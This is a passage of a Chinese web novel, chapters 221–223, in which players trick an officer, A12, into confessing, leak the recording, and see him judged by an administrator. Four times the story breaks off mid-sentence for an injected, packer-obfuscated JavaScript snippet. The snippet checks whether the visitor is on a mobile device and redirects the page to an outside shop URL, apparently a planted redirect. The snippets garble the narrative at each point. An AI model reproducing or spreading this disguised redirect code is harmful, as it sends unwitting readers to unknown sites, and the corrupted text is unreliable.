她被这荒谬的答案震住,猛地坐到初与序旁边:“你说真的?” 初与序斜睨她一眼,反问:“那你有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085179|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划?” 蒋川张了张嘴,盘算起来。 他们不可能一直躲在副本里。眼下,因冬逢初逃脱,系统必然向负责这事的A12施压,A12此刻压力巨大。如果初与序和冬逢初主动现身“求和”,给出一个台阶,A12同意的可能性极高。这也是存活率最高的办法。 蒋川沉默下来,忍不住偷偷瞄了初与序好几眼。对方已重新垂下眼眸,恢复了淡漠的样子,怎么看都不像是个会轻易低头求和的人。 随歌见她心情不好,道:“哎呀,别急嘛,船到桥头自然直,没有计划也是计划的一部分嘛。” 他话落,忽然听见病房门被人从外面敲响。三人纷纷抬头,门被推开,进来的是陈秋天与景明垂。 陈秋天带着笑,朝初与序招了招手:“hi,又见面了呀。” 初与序点了点头,转向景明垂。景明垂神色平静,看来陈秋天已将一切和她解释过一遍了。 随歌和蒋川面面相觑,一脸茫然。陈秋天见状,自我介绍道:“陈秋天,永冬之城第一批玩家,长生者,刚从副本里回来。” 景明垂在初与序身边坐下,初与序侧头问:“处罚区怎么罚白闽他们?” “白闽、向枝冥、安楚、回北和赵禾,因为协助逃犯,被扣在处罚区禁足室,要关两个月。”景明垂顿了顿,开口,“但齐无尽出面作保,缩短到了半个月。” “那红毛很讲义气了。”随歌左右张望了一下,忍不住插嘴:“意哥呢?这都不来看看我们?太不道德了吧?” 景明垂摇头:“最近经常见不到他,不清楚在忙什么。” 她刚说完,病房门再次被推开。说曹操曹操到,江意走了进来,初与序的视线与他相遇。 两人均是一顿,沉默了几秒。 初与序移开目光,并未开口。 江意转向随歌:“怎么样了?” “勉勉强强吧,能活着回来已经是上天保佑了。”随歌回答:“冬逢初在ICU,不过命是保住了。” 江意点了点头,又看向初与序。只见她正低头翻着手机,片刻后,忽然抬起头,问道:“之前系统被人为摧毁的事情,现在进展怎么样了?有没有发现什么?” “是发现了一些事。”江意点点头,道:“你们进副本时,我跟D19去系统总部检查过一次。核心区域看守太严,没办法靠近机器本体。但通过外围残留的旧痕迹和资料,我们发现,之前入侵系统的,是一个人,也只有他一个人。” 他顿了顿。 “并且,那人是永冬之城的一位玩家。现在,就住在这座城里。” 一句话,让整个病房瞬间陷入死寂。 “一个人?一位玩家?开什么玩笑?”随歌被呛到,从椅子上跳起来,“永冬之城没有任何玩家能够完全接触系统核心区域,他还一个人入侵了系统总部?普通玩家刚踏进去一步就被打成筛子了好吧?这真的的人吗?” “如果是玩家的话……”陈秋天拿出一张打印出来的玩家排名单,从榜首江意的名字开始找,“除非那人刻意隐瞒实力,否则排名必然靠前。” 然而,名单上来来回回看了几遍,排名前列的,几乎都是他们熟识的面孔。一个个名字看过去,谁都不像,谁也都没有理由去入侵系统。 221.自首 正当病房内几人一筹莫展时,门又被推开一条缝。S23探进头来,低声道:“冬逢初醒了,已推出ICU。另外,执行官内部已查到你们回来了,正在开会,决议今晚就来医院抓人。” 几人对视一眼。 初与序率先起身,对蒋川说:“你先回自己家,或者进副本,暂时不要和屠宰场的人接触。” 蒋川知道此刻留下也是拖累,点了点头。 四人又与陈秋天道别,随即赶往冬逢初的病房。冬逢初已经醒来,见到他们,虚弱地牵起嘴角,露出浅浅笑意。 “笑笑笑,都伤成啥样了还笑。”随歌一屁股坐在床边,吊儿郎当道,“听见风声没?那帮执行官今晚就要来请你们俩回去了,有什么想法?” 初与序没有立刻回答,而是转过头,给了门边的C13一个眼神。C13会意,抬手在自己面板上点了几下,打开系统监听屏蔽器。 确保安全后,初与序才转回视线,看向同伴,淡淡道:“自投罗网。” 黄昏时分,系统处理大厦。 A12刚刚结束会议,回到办公室,疲惫地揉着太阳穴。关应好坐在他对面的沙发上,脸色铁青地盯着平板电脑捏碎,屏幕上正是此次行动失败的报告。 “你派去的人怎么回事?”A12怒道,“死了两个,一个叛变!现在还要耗费人力去把初与序和冬逢初抓回来!简直是笑话!” 关应好烦躁地抓了抓头发,自知理亏:“现在不是已经查到他们在医院了吗?正好趁着他们伤重,直接去抓不就行了!” “抓?你说得轻巧!”A12讥讽道,“我们执行官出动,尤其是和他们有关的任务,哪次不是损兵折将?这次要是再失手,系统怪罪下来,惊动了上面的管理员,你我都吃不了兜着走!” 关应好被噎得说不出话,半晌才不甘道:“他们到底图什么?为了一个冬逢初,值得把整个永冬之城搅得天翻地覆?他又不是江意那种级别的……” A12闭上眼,长长叹了口气,道:“算了……已经派了队伍,今晚包围医院。只是他们的具体病房记录不知道被谁删了,查不到在哪一层。” 关应好咬着牙骂了那人一句:“傻逼。” (远处医院走廊上的C13打了个喷嚏:“?”) 就在这时,旁边桌子上的电话突兀地响了起来。 A12与关应好对视一眼,站起身走过去,接起了电话。 听筒里,传来一道熟悉的女声:“A12长官,好久不见,我是初与序。” 她微微停顿。 “我们要自首。” A12握着听筒,沉寂了好一会,转向关应好:“出去告诉我的人,今晚行动暂停,等我命令。” 关应好睁大眼,张嘴欲言,被A12抬手打断:“快去!” 没办法,他狂躁地低低骂了一句,甩上门离开。 半小时后,A12的办公室。 初与序与冬逢初被两名执行官押了进来。说是“押”,两人并未上镣铐。冬逢初因伤势未愈,面色苍白如纸,初与序站在他身边,神色平静。 A12瞧着两人,感觉他们看着不像来求和,而是来谈判的。 一名手下快步上前,在A12耳边低语:“长官,这两人确实没反抗,一路过来,态度也挑不出错。看着的确是走投无路,才来赌这一线生机的。” A12端坐办公桌后,闻言只掀了掀眼皮。 永冬之城上下,被这二人温顺皮相骗得找不着北的执行官和副本NPC还少吗。他冷笑一声,抬手挥退了左右手下。 室内只剩三人。 A12身体后靠,讽刺道:“自首?二位这是唱的哪一出?忘川桥上劫法场,风雪之中金蝉脱壳的气魄哪里去了?莫不是伤得太重,连骨头都软了?” 初与序淡淡道:“长官,气魄用在当用之时,如今形势比人强不是么?” “我们此番前来,是为与长官做一笔交易。” 还真的来谈判的。 “交易?”A12挑眉。 冬逢初轻轻咳嗽了一声,说:“我们二人,听凭长官处置。唯有一个条件——请长官,撤销对我的死刑判决。” “哈……”A12没惊讶,低笑出声,“撤销死刑?凭什么?我大可以现在就叫人进来,把你们押去刑场,一了百了。何必多此一举,听你们这‘诚意’?” “自然是因为,一了百了对长官而言并非上策。”初与序说道,“毕竟,刑场我们也不是第一次去了。” 她的话轻飘飘的,却让A12皱起眉头。 冬逢初浅笑了一下,说:“长官手段高明,只是您有没有想过,若这次我们二人再从您眼皮底下逃脱一次,系统会如何看待您的办事能力?” “逃脱?”A12眼神沉下来,“你们以为,到了这里,还能由得你们?” “我们自然是插翅难飞。”初与序微微偏头,看向窗外的夜色,“可这永冬之城,意外总是很多。忘川桥下,不也意外地多了条路么? 冬逢初接话道:“即便断手断足,总有办法。那时候,长官又要耗费多少心力,去抓捕我们两位重犯?” A12脸上的讥诮慢慢敛去,眼神变得深暗。 这两位玩家在威胁他,竟然敢威胁他。 系统本就对他接连失利不满,若这次人已送到眼前,却再次在他们重伤虚弱时逃脱,那就不只是失职,更是无能!到那时,执行官会如何看他?系统会如何看他?上面的人会如何看他? 室内一时寂静,没有人说话。 良久,A12缓缓靠回椅背。他忽然笑了笑。 “有意思。”他慢条斯理地说,“你们这是吃定了我不想再节外生枝?” 初与序不答,只平静地看着他。 “那你们也该知道,”A12话锋一转,“我为何非要置你们于死地?尤其是你,冬逢初。别离山上康安是怎么死的,你们心里,当真没数吗?” 冬逢初面色不变,点了点头:“自然是知道的,长官。” “屠宰场动手,我的人删除监控,栽赃嫁祸,这本是天衣无缝的死局。可你们偏偏要跳出来,偏偏不肯安安分分地去死。”A12盯着冬逢初,“你,冬逢初!你更是在别离山反杀了屠宰场的人。我说你是故意杀人,那就是故意杀人。你面板里康安案的证据,也早早被清理掉了。” “所以,”他身体前倾,“你们现在凭什么觉得,我会因为怕你们可能再次逃脱这种虚无缥缈的威胁,就放弃好不容易才钉死的罪名,撤销死刑?我大可以就在这里处理掉你们,然后报一个‘拘捕反抗,就地格杀’。” 初与序和冬逢初对视了一眼,似是在思考。 “长官手段,我们自然清楚。”她说道,“只是康安案,当真天衣无缝吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089436|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就算有其他证据,”A12冷声道,“死无对证的东西,又能如何?系统信我,还是信你们这两个逃犯?” “系统信证据。”冬逢初温和道,“我们二人是自首而来。若我们在这里‘拘捕反抗’而死,我们身上会不会留下些别的东西?长官可以赌,我们不拦您。” “再者,我们自首,意味着我们承认罪行,不再追究某些事情的起因。比如,康安到底死于谁手?别离山的监控为何偏偏在那日失效?某些玩家被陷害的源头又究竟在何处?” A12沉默了。 他们抓住了他最在意的东西——稳定,前程,以及系统的看法。这些都让他感到不安,不敢再轻易行险。 见A12仍在犹豫,初与序轻轻叹了一口气:“我们只要冬逢初活。您需要我们自首来稳住您的位子,掩盖一些事情。两相便宜,各取所需。长官是聪明人,这笔账,想必算得清。” A12死死盯着他们,想立刻将这两人碎尸万段,但他们说的每一个字,都敲在他的软肋上。冬逢初若死,后患无穷,系统绝不会轻饶他的连番失误。而他们手中掌握的事,更是悬在他头顶的利剑。 良久,他像是耗尽了所有力气,阖了一下眼,再睁开时,里面的情绪已被强行压下,只剩下晦暗。 他吐出一个字:“好。” “冬逢初的死刑判决,我可以设法周旋,暂缓执行,乃至最终撤销。但这不代表你们无事。” “你们需签署认罪书,承认在永冬之城及副本中的多项违规行为。刑罚改为放至S级副本。在刑期结束前,你们的一切行动,需受我派人监控。此外,你们的团队,不得再有任何针对我及屠宰场的小动作。” “如何?” 初与序和冬逢初笑了一下:“谢谢长官。” “既然已达成协定,能不能让我们回医院与队友交代一下,以免他们担心?” 大局已定,A12忙着要去处理撤销死刑判决的程序,便未多做刁难:“一小时内,自行到处罚区报到。逾时后果自负。” 此时,隔壁楼的天台上,风很大。 陈秋天举着望远镜,望向对面。随歌在她旁边急得抓耳挠腮,凑近问:“哎呀你看好没?他们出来了吗?没缺胳膊少腿吧?” “出来了出来了,”陈秋天将望远镜递给他,“看着都好好的,走路稳当着呢,没受伤的样子。” 随歌一把抢过,凑到眼前,清晰地看到冬逢初在寒风中微微侧身,朝着他们所在的这个方向,借着整理发丝的动作,比了一个“OK”的手势。 他放下望远镜,转头看向一旁倚着栏杆的江意:“意哥,录音收到了没?” 江意没说话,抬手在虚空中虚点几下,展开面板。上面一份署名为“初与序”的文件,正躺在收件列表里。他微微颔首。 随后江意抬手,将笔记本往随歌面前推了推:“开始吧。” 随歌凑过去,在键盘上飞快敲击着:“……这个节点接驳好了,嗯,暗网的通道是稳的,论坛的接口也没问题……好了!” 陈秋天在一旁看得云里雾里,她放下望远镜:“啊?什么录音?什么网站?你们现在连暗网都搞出来了?他们不是安全出来了吗?你们还要干嘛?” “当然是——”随歌笑嘻嘻地转过头来,冲着陈秋天弯了弯眉眼,用口型,一字一顿地说: 弄、死、A、1、2、呀。 222.见管理员 这一天的晚上,永冬之城的平静被彻底打破。 起初,只是一段音频文件,出现在暗网深处,以及几个玩家自发组建的小型加密频道里。那声音经过处理,有些失真,但对话的内容却令人发寒。有关别离山,有关康安之死,有关屠宰场的屠刀,有关执行官删除的监控,有关精心策划的栽赃陷害,还有那个傲慢的声音亲口承认一切。 紧接着,经过验证的杀人痕迹文件、别离山当日异常的通行记录片段,甚至包括A12名下某个秘密账户与屠宰场可疑积分往来的蛛丝马迹,瞬间在同一个节点爆发,顺着那被随歌连接的通道网站,疯狂涌向官方论坛的每一个频道! 系统公共频道瞬间被刷爆,红色警报与玩家们愤怒的咆哮混杂在一起。无数玩家的个人面板和电子设备响个不停,论坛的提示音汇聚成一片震耳欲聋的海洋。 【用户A】:我操?!真的假的?执行官勾结玩家杀人?! 【用户B】:康安?被这么搞死的? 【用户C】:A12?!是那个A12?! 【用户D】:证据!这么多证据!系统瞎了吗?! 【用户E】:要求彻查!严惩凶手!还受害者公道! 执行官们疯了般开始删帖,屏蔽频道,试图掐断信息流。然而,他们刚删除一个源头,就有数百个备份从不同的匿名节点重新冒出来。 因为永冬之城太冷了,所以血液里都是像火一样的热情。玩家们自发地接力,上传,转发,复制保存。怒火如同被压抑了太久的熔岩,在冰封的大地之下找到了裂口,轰然喷发! 整座城都在震动。信息与情绪的洪流,冲击着每一个地点,冲击着系统的秩序铁幕。 而处在风暴中的A12…… 他的办公室内,数个面板上,滚动的全是那段录音的播放记录、文件的传播路径,以及疯狂飙升的质疑和投诉数据。 他万万没有想到,初与序和冬逢初会把他们的那段对话录音,也没有想到,冬逢初在别离山收集的康安案证据,早就被他转到了队友的面板上。 “查!给我查出源头!封锁所有频道!!”他对着门外嘶吼。 但回应他的,只有下属慌乱而无措的汇报: “长官!传播节点太多了!锁定不了源头!公共频道的底层协议好像被修改了,强制关闭需要最高权限申请,时间来不及了!论坛……论坛已经快要瘫痪了!” “那就瘫痪!把所有玩家禁言!让他们闭嘴!” “现在!带队去D栋!” 乱了。 全乱了。 雪原宫殿大门,一阵仓促凌乱的脚步声传来。 一名身穿执行官制服的人冲进大厅,气都喘不匀:“报、报告!永冬之城出大事了!A12长官勾结屠宰场、在别离山杀害玩家康安、删除监控、栽赃陷害玩家初与序和冬逢初的事……全被捅出来了!现在录音和证据传得到处都是,暗网、公共频道、论坛……全城玩家都炸了!场面快控制不住了!” 大厅里原本或坐或站的几位管理员,连同神色恹恹的初一,闻言都抬起了头。 一个管理员打了个哈欠,嘀咕道:“我滴乖乖,一觉睡醒,永冬之城咋乱成这样了?那俩祖宗不是刚自首吗,怎么又掀出这么大风浪?” 另一个管理员推了推眼镜:“高权限执行官勾结外部势力、杀人栽赃、引发全城动荡。这已超出常规处罚范围,必须由我们介入处理。现在几乎全城玩家都已知晓,他们需要我们给一个说法。” 初一嗤笑了一声,凉凉道:“这下好了,你们非下去不可了。” “这怎么搞?”最先说话的管理员皱起眉,“我们都不能轻易下去,更不能让他们看见脸。” 不能被玩家看到他们的脸——这是管理员之间不成文的规矩。以往并非没有管理员踏足过永冬之城,但那都是在特殊的情况下,也几乎不会被擦肩而过的玩家察觉。但眼下这种需要公开露面的情况,一旦有管理员现身,引起的混乱恐怕比A12的罪行更难以预料。 一位管理员猛地站起来:“我去问问妄主大人……” “不必了。”初一懒洋洋地开口,拦住了他,“祂才懒得管这事,顶多回你一句‘你们自己处理’。再拖下去,A12狗急跳墙,怕是会直接带人把初与序和冬逢初处理掉,来个死无对证,再把脏水泼回他们身上。” 那管理员动作一滞,颓然坐回原位。 戴着眼镜的管理员环顾四周,平静地问道:“有没有人能下去?” 就在这时,角落里一个身影举起手。她穿着与其他管理员无异的制服,头发随手地扎在脑后,身形匀称挺拔,肤色是健康的小麦色,与初一那种病态的苍白截然不同。她缓缓站直身体,抬手将一顶帽子扣在头上,帽檐遮住了她大半张脸,只露出线条清晰冷硬的下颌。 “我没让妄主暂停我的生长时间,长到二十多岁才停。把帽子戴好,认不出我。我能去。” 几位管理员对视了一眼。确实,她的年龄在管理员中是个异类,执行力最强,确实是最合适的人选。 戴眼镜的管理员点了点头:“好。辛苦你了。” 女子颔首,不再多言,转身大步流星地朝外走去。 看着她消失在门外的风雪中,一个管理员忍不住小声嘀咕:“我都怀疑她刚下去,玩家就先被她的冰山脸给冻死……” 初一皮笑肉不笑地瞥了那人一眼:“她要是听见了,能一脚给你从这儿踢到永冬之城最深的雪坑里埋着。” 那管理员立刻噤声,讪讪地缩了缩脖子。 永冬之城,D栋,住户休息室。 炉火燃着,驱散了些许寒意。随歌唏哩呼噜吃着泡面,喝着草莓牛奶,盘腿坐在地上,看着屏幕上自己的杰作:“哎呀呀,我这可是大功劳!D区贩卖机那一箱草莓牛奶就当是奖励我的啦!” 陈秋天坐在他对面,手里捧着一杯热茶:“所以,你们折腾这么大一圈,全部计划到底是什么?” 景明垂靠在窗边,解释道:“想让A12这种级别的高权限执行官被彻底格式化,单靠玩家的举报和系统的常规处罚,很难。需要更上一层的介入,也就是管理员。” “但管理员不会轻易踏足永冬之城,除非高权限执行官犯下的是系统都无法容忍的重罪,并且造成了全城无法忽视的巨大影响,玩家群情激愤,迫使系统必须给出一个足够分量的交代。” 陈秋天恍然:“所以,你们先是自首谈判,拿到A12亲口承认罪行的录音,再引爆舆论,把事情闹到全城皆知,无法收场,就是为了逼管理员不得不下来?” “差不多。”随歌吸了一大口牛奶,“只有管理员下来,亲自审判,A12才没有翻身的可能,冬逢初的死刑才能真正撤销,而且说不定还能从管理员那套出点别的什么呢?比如,咱们永冬之城,到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089437|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么来的?” 陈秋天点了点头,又想起了什么:“不过你们不怕A12一气之下,带人直接杀过来吗?” 她话音未落。 “砰——!!!” 休息室的门被狂暴的力道从外面狠狠踹开,带着杀意的身影冲入,直扑离门最近的随歌!一只苍白的手扼住了随歌的脖颈,带着他狠狠向后掼去! 咚!随歌结结实实撞在冰冷的地面上,震起一片灰尘。他猝不及防,被扼得呼吸一窒,眼前发黑,紧接着是剧痛和剧烈的咳嗽,一边咳一边有气无力地对刚刚乌鸦嘴的陈秋天道:“咳咳……看、看吧……这不就……来了吗……” 陈秋天:“……” 一切发生在电光石火之间!另外几人几乎同时跃起,冬逢初上前一步扶起随歌,将他拉到后方。 A12站在门口,双眼赤红。他身后,黑压压地站着他全部的心腹执行官,个个气息不善,武器在手。 “A12,你不要乱来!”陈秋天喝道,“执行官禁止攻击玩家!” “本来好好的交易!所有人都能活!”A12发狂吼道,“是你们!是你们逼我的!既然你们要把事做绝,把路走死,那就一起死吧!!” 他猛地挥手:“一个不留!!!” 他身后的执行官早已蓄势待发,没有丝毫犹豫,猛地扑上!招招狠辣,全是奔着要害去的死手。 冬逢初本就重伤未愈,很快被两名执行官左右夹击,其中一人五指成拳,朝着他腹部那道刚刚愈合的伤口狠狠捣去!这一拳若是砸实,足以让他内脏破裂,当场毙命! 拳头带着风声,已近在咫尺! 冬逢初想要闪避已然不及,就在那千钧一发之际—— 一只戴着黑色半指战术手套的手,凭空出现,稳稳地地扣住了那只差点触到冬逢初腹部的手腕。那只手指节修长,但其中的力量却恐怖到难以想象。 “咔吧——!” 骨头被生生捏碎,发出脆响。 那名出手的执行官甚至没来得及看清来人,剧痛便从手腕席卷全身,他另一只手条件反射地挥拳想要反击。 然而,他的动作,连同他整个人,都在下一瞬间,停住了。 在所有人惊讶的目光注视下,他的身体,从头顶开始分解,化作无数雪粒,簌簌落下,消散在空气中。 不到一秒钟。 一个活生生的执行官,就这么凭空消失了。 【执行官A54,格式化完成。】 …… 格式化。 所有正在动手的执行官,像被冰水从头浇到脚,立刻松开了钳制初与序等人的手,惊恐地后退,看向那个突然出现的身影。连暴怒疯狂的A12,脸上也只剩下深入骨髓的恐惧。 一片死寂中,只有那个身影静立。 初与序快速扫过身边,确认冬逢初无碍,才猛地抬头,看向声音来源。 来人身穿蓝色制服,干脆利落,身高腿长。一顶宽大的黑色鸭舌帽压得极低,帽檐的阴影完全遮蔽了她的眉眼与鼻梁,只露出线条冷硬下颌,以及几缕未能完全束起的深色发丝。 她缓缓开口,声音没什么情绪起伏,带着冰冷威严,响在每个人的心脏和灵魂上: “未得许可,执行官与玩家私斗,已属违规。” “动辄下死手,意图当众格杀玩家——” “谁给你们的胆子?” 223.997255518 “既已审结,尚有细节需理清。”管理员微微抬头,转向江意所在的方向,“玩家康安,为此案关键死者,亦为一切事端之起源。其头颅和右手下落,至今不明。你们可知现在何处?” 大堂内其他玩家才反应过来,康安死了,被栽赃了,案子审完了,可死者本人的头颅和右手呢? “……”五人纷纷默契地移开目光,观众席四个人互相在桌底下偷偷推搡肘击,谁也不想开口接话。 最终,是随歌清了清嗓子,觉得这事儿瞒不过去,只好开口:“呃……这个嘛……” “康安的……嗯,头颅和右手,现在应该在《蔚蓝海神号》副本里,当美人鱼呢。” “……” “…………” 高台上,D19猛地抬手捂住了脸。 玩家们小声嘀咕:“啥玩意儿?美人鱼?” 随歌说完,缩了缩脖子,找补道:“那个当时情况紧急嘛,处理起来不太方便,就……就用了点特殊渠道……海葬……也挺环保的不是?” 几秒后,女管理员意味深长地吩咐道:“记录:玩家康安部分遗体下落已确认,位于《蔚蓝海神号》副本海域。通知副本管理处,派一队执行官,前方《蔚蓝海神号》,打捞大海,将康安的部分遗体找回,妥善处理掉。” A12在被带走时,回头深深看了一眼初与序和冬逢初,眼神最终化为一片空洞。关应好则被两名高阶执行官拖走。 一场席卷全城的风暴,似乎就此落下帷幕。 与此同时,某个单人副本的简陋安全屋内。 蒋川蜷缩在角落,面前的系统面板正显示着审判结束后的官方通报和漫天飞舞的讨论。她看着“屠宰场成员”被一个个点名处罚,和执行官四处搜捕漏网之鱼的通告,心脏几乎要跳出嗓子眼。 她死死盯着门口,等待着那扇门被踹开,等待着执行官进来将她逮捕。 她算是屠宰场的人,她参与了之前的围堵,虽然康安案她未直接插手,但按照系统的连坐和清算,她绝无幸理。 一分钟,两分钟……十分钟过去了。 门外只有副本里的风声,以及远处怪物低沉的嘶吼。 没有任何人来找她。 她颤抖着手,再次调出面板,仔细阅读那份处罚名单,从头到尾,看了三遍。 没有她的名字。 连“其余参与成员”的模糊指代里,似乎都没有她的痕迹。仿佛系统,都有意无意地将她“遗忘”了。 这不可能。 蒋川缓缓抬起头,望向副本灰蒙蒙的天空。她想起初与序最后看她那一眼,平静无波。 她靠在墙壁上,思绪飞远。 “初与序……” “你到底是谁?” 大堂之内,喧嚣退去。玩家们散入永冬之城凌晨的微亮之中。方才的审判庭,此刻渐渐冷却。 高台上,那位女管理员依旧坐在原位,轻轻抬手,在空中划出几道。方才那些由她凭空塑造的审判席、原告被告席、旁听长椅,又一次悬浮、分离,还原成原本殿堂内的陈设,落回它们原本的位置。 初与序几人并未随人群离开。他们站在殿堂外,纷纷探出头来偷偷盯着管理员。 景明垂压低声音:“好不容易让管理员下来一趟。总不能白忙一场。总要看出点什么。” 初与序没有说话,她紧盯着管理员每一个细微的动作。 太熟悉了。 她一定在哪里,以某种方式,近距离看过这个人的动作,甚至有可能和她合作过。 既然她如此刻意地遮掩面容,那么她的脸一定不能被他们,或者说不能被大多数玩家看到。因为一旦看到,很可能就会被认出来。 初与序忽然冒出一个念头:这个管理员,也是玩家。或者说,她曾经是玩家。因为某些事,才得以脱离玩家的身份,升格为永冬之城“管理员”之一。 旁边的随歌用气音说道:“诶,你们说咱们一会儿偷偷跟着她怎么样?看看她怎么离开的,往哪个方向走?说不定运气好,能摸到管理员老巢的边儿呢?这可是千载难逢的机会!” 他话音刚落。 高台上,那位背对着他们的女管理员,顿了一下。 然后,她微微偏了偏头。对着他们五人藏身的阴影角落: “你们,可以试试。” 五人:“?!” 随歌瞬间僵住,脸上的表情精彩纷呈,写满了“卧槽她怎么听到的”、“我说话声比蚊子还小”、“完了完了要被格式化了”等一系列复杂心理活动。冬逢初无奈地看了他一眼,叹了口气。 然而,预想中的惩罚并未降临。那女管理员说完那句话,便不再理会他们。她抬起手,随意地拂了拂制服袖口并不存在的灰尘。 接着,就在五双眼睛的注视下,那道高挑身影,干脆利落地凭空消失在了原地。 没有留下任何痕迹,仿佛她从未在那里坐过。 只剩下空旷冰冷的大堂,以及五个站在阴影里面面相觑的人。 “啥意思啊……?”随歌张了张嘴,最终只干巴巴地吐出几个字:“就……这么走了?” 还真是……来去如风,莫测如神。 一点线索都不给留啊。 身后传来D19声音:“你们几个,在这儿干嘛?” 五人回头,只见D19走过来,将手里的箱子打开,里面正是初与序的短刀、冬逢初的长剑、景明垂的金弦,以及江意的重力手环。 “诺,物归原主。”D19将武器一一递还,“除了随歌提前偷偷拿走的竹扇剩下的,都在这儿了。” 初与序接过自己的短刀,刀身自己亲昵地贴了贴她的手背,随即化作一缕流光,自动收回面板中。 “回去吧。”江意率先转身,朝着D栋的方向走去, D栋1701,江意的家开着暖气,将房间烘得暖融。没开着几盏落地灯。地毯上,五人加上陈秋天和火腿面包,围着茶几坐了一圈。 随歌怀里抱着一大袋刚开封的薯片啃,火腿面包静静地坐在他旁边的软垫上,不断用余光瞟着他,忽然,它飞快地伸出两片面包边,以迅雷不及掩耳之势从随歌的薯片袋里精准夹出几片,塞进自己嘴里。 “喂!别抢我薯片啊!”随歌立刻护食地大叫起来。 “那你把草莓牛奶给我!”火腿面包叉着腰。 “那更不行!” 初与序盘腿坐在景明垂旁边,将话题引入正轨:“这次在善佑医院,我遇到了一道密码锁。密码还是‘997255518’这一串数字。” 陈秋天之前并不知晓这串数字,闻言露出疑惑:“这数字有什么特别含义吗?” “不知道。”冬逢初窝在旁边的单人沙发里,脸色在暖光下好了些,“但它出现的频率太高了。《死亡电梯》的隐藏线索是它,善佑医院的关键密码又是它。不像巧合。” “还有齐无尽,”景明垂补充道,“上次我们去问他关于相机的事,他提出的那两个问题也很古怪。” 提到相机,随歌将团队赛获得的相机、里面554张没有景明垂的照片、第555张突兀出现的五人合影,以及那段记录着与初与序容貌无二的女子被刺穿颈动脉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096153|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致命视频,原原本本地复述给了陈秋天听。末了,他语气夸张地总结: “……然后我们就去找齐无尽那家伙对质!嘿,他倒是承认他也有一个一模一样的,说是故人所赠,只见过一面,不知生死。但要我们回答他两个问题才肯透露更多——‘圆周率的完整数字’和‘制造时光机的步骤’!听听!这他妈是人能答得上来的?摆明了就是不想说!” 初与序说道:“我认为,他问的问题是在暗中给我们线索,但我一直没想到。” 陈秋天听完,看向初与序:“那段视频能给我看看吗?” 初与序点了点头,从面板里拿出相机,将视频播放出来。 画面结束后,陈秋天沉默良久,才缓缓开口:“齐无尽那两个问题,确实是在给你们线索。” “圆周率,代表无限不循环,不可知,不可控。而时光机代表逆转时间,跨越时空。” 她顿了顿,看向随歌手中的相机:“随歌,你的相机,记录的是‘现在’。而你们得到的这台‘新’相机,里面的照片序列,从最初没有景明垂,到第555张突然出现,却在证明,在某个‘过去’,或者说,在另一条时间轨迹或可能性里,景明垂是在很后期才加入你们的。并且,根据我千年来的记忆,在第一批玩家时,我确实没有见过景明垂。” 随歌眼睛一亮,顺着这个思路猜测:“那齐无尽口中的故人,会不会就是视频里那个‘初与序’?假如她以某种特殊状态存在,并且把这一切都记录进了相机里,然后交给了齐无尽保管?齐无尽可能知道些什么,但又受限于某种规则或承诺,只能用这种方式提示?那他人还怪好嘞。” 初与序垂眸,平静说道:“如果这台相机里记录的,是某种已经发生过的‘过去’,或者是另一个可能性分支的‘结果’。”她抬起眼看向众人,“那可能意味着,有些事情是注定会发生的。” 室内一时寂静。关于“初与序会死”的可能的概率,再次提升。 “不一定。” 陈秋天忽然出声打断:“如果一切都是注定的、不可更改的循环,那么当初,你提出‘要不要毁了这里’的时候,我们就不会失败,D栋就不会只剩下四十多人,后来也不会有那么多变故,永冬之城或许早就以另一种方式终结了。” “时间这东西,就是一个环。首尾相连,循环往复,但每一次循环,都可能因为某些因素,产生细微的偏差,让身处其中的人,有机会看到‘环’之外的东西,或者,改变环的轨迹。” “而且,”她指了指自己,又指了指江意等人,“他们就是把永冬之城整个儿拆了,系统总部炸成烟花,也绝不会让你死的。” “那当然。”随歌咬着薯片,忙点头。另外几人也投来赞同的目光。 初与序扶额,轻轻叹了口气,像是在笑。 